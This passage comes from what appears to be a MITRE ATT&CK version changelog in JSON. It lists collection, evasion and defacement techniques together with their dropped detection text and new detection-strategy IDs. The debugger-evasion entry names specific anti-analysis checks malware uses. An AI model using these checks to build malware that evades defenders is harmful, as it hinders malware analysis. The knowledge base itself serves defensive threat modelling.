access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. \"}}}", + "previous_version": "3.4", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1032: Multi-factor Authentication", + "M1041: Encrypt Sensitive Information", + "M1047: Audit", + "M1054: Software Configuration", + "M1060: Out-of-Band Communications Channel" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0413: Abuse of Information Repositories for Data Collection" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-05-11 18:51:16.343000+00:00", + "modified": "2025-10-24 17:49:25.081000+00:00", + "name": "Code Repositories", + "description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or [Unsecured Credentials](https://attack.mitre.org/techniques/T1552) contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/003", + "external_id": "T1213.003" + }, + { + "source_name": "Wired Uber Breach", + "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.", + "url": "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/" + }, + { + "source_name": "Krebs Adobe", + "description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.", + "url": "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom", + "Toby Kohlenberg", + "Josh Liburdi, @jshlbrd" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.081000+00:00\", \"old_value\": \"2025-04-15 22:04:59.867000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1032: Multi-factor Authentication", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0263: Detecting Bulk or Anomalous Access to Private Code Repositories via SaaS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-14 13:09:51.004000+00:00", + "modified": "2025-10-24 17:48:59.776000+00:00", + "name": "Confluence", + "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/001", + "external_id": "T1213.001" + }, + { + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.776000+00:00\", \"old_value\": \"2025-04-15 22:09:18.055000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n\\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\\n-\\n-User access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0358: Programmatic and Excessive Access to Confluence Documentation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-14 13:35:32.938000+00:00", + "modified": "2025-10-24 17:48:22.832000+00:00", + "name": "Sharepoint", + "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1213/002", + "external_id": "T1213.002" + }, + { + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Application Log: Application Log Content\", \"Cloud Service: Cloud Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.832000+00:00\", \"old_value\": \"2025-04-15 23:07:18.929000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \\n-\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0025: Cloud Service (Cloud Service Metadata)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0500: Detecting Abnormal SharePoint Data Mining by Privileged or Rare Users" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:41.022000+00:00", + "modified": "2025-10-24 17:49:13.555000+00:00", + "name": "Data from Network Shared Drive", + "description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1039", + "external_id": "T1039" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "David Tayouri" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Share: Network Share Access\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.555000+00:00\", \"old_value\": \"2025-04-16 20:37:18.881000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)", + "DS0033: Network Share (Network Share Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0410: Detection Strategy for Data from Network Shared Drive" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:31.584000+00:00", + "modified": "2025-10-24 17:48:28.431000+00:00", + "name": "Data from Removable Media", + "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1025", + "external_id": "T1025" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.431000+00:00\", \"old_value\": \"2025-04-15 19:58:10.837000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0511: Detection of Data Access and Collection from Removable Media" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 17:59:46.156000+00:00", + "modified": "2025-10-24 17:49:32.196000+00:00", + "name": "Debugger Evasion", + "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary. On Windows, this may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). On Linux, this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools.(Citation: Cado Security P2PInfect 2023)(Citation: Positive Technologies Hellhounds 2023) Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nMalware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program\u2019s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program\u2019s execution to continue.(Citation: Apriorit)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1622", + "external_id": "T1622" + }, + { + "source_name": "Apriorit", + "description": "Apriorit. (2024, June 4). Anti Debugging Protection Techniques with Examples. Retrieved March 4, 2025.", + "url": "https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software" + }, + { + "source_name": "Checkpoint Dridex Jan 2021", + "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.", + "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/" + }, + { + "source_name": "hasherezade debug", + "description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022.", + "url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf" + }, + { + "source_name": "Cado Security P2PInfect 2023", + "description": "jbowen. (2023, December 4). P2Pinfect - New Variant Targets MIPS Devices. Retrieved March 18, 2025.", + "url": "https://www.cadosecurity.com/blog/p2pinfect-new-variant-targets-mips-devices" + }, + { + "source_name": "AlKhaser Debug", + "description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022.", + "url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug" + }, + { + "source_name": "wardle evilquest partii", + "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.", + "url": "https://objective-see.com/blog/blog_0x60.html" + }, + { + "source_name": "ProcessHacker Github", + "description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022.", + "url": "https://github.com/processhacker/processhacker" + }, + { + "source_name": "Positive Technologies Hellhounds 2023", + "description": "PT Expert Security Center. (2023, November 29). Hellhounds: operation Lahat. Retrieved March 18, 2025.", + "url": "https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat" + }, + { + "source_name": "vxunderground debug", + "description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022.", + "url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "TruKno", + "Joas Antonio dos Santos, @C0d3Cr4zy" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Application Log: Application Log Content\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.196000+00:00\", \"old_value\": \"2025-04-15 19:59:16.468000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\\n\\nMonitor debugger logs for signs of abnormal and potentially malicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\\n-\\n-Monitor debugger logs for signs of abnormal and potentially malicious activity.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0371: Detection Strategy for Debugger Evasion (T1622)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-08 17:51:41.390000+00:00", + "modified": "2025-10-24 17:48:49.761000+00:00", + "name": "Defacement", + "description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1491", + "external_id": "T1491" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "ESXi" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"File: File Creation\", \"Application Log: Application Log Content\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.761000+00:00\", \"old_value\": \"2025-04-25 15:15:35.374000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\\n-\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0238: Defacement via File and Web Content Modification Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 14:34:08.496000+00:00", + "modified": "2025-10-24 17:48:23.460000+00:00", + "name": "External Defacement", + "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1491/002", + "external_id": "T1491.002" + }, + { + "source_name": "Anonymous Hackers Deface Russian Govt Site", + "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.", + "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/" + }, + { + "source_name": "FireEye Cyber Threats to Media Industries", + "description": "FireEye. (n.d.). Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210719110553/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf" + }, + { + "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence", + "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.", + "url": 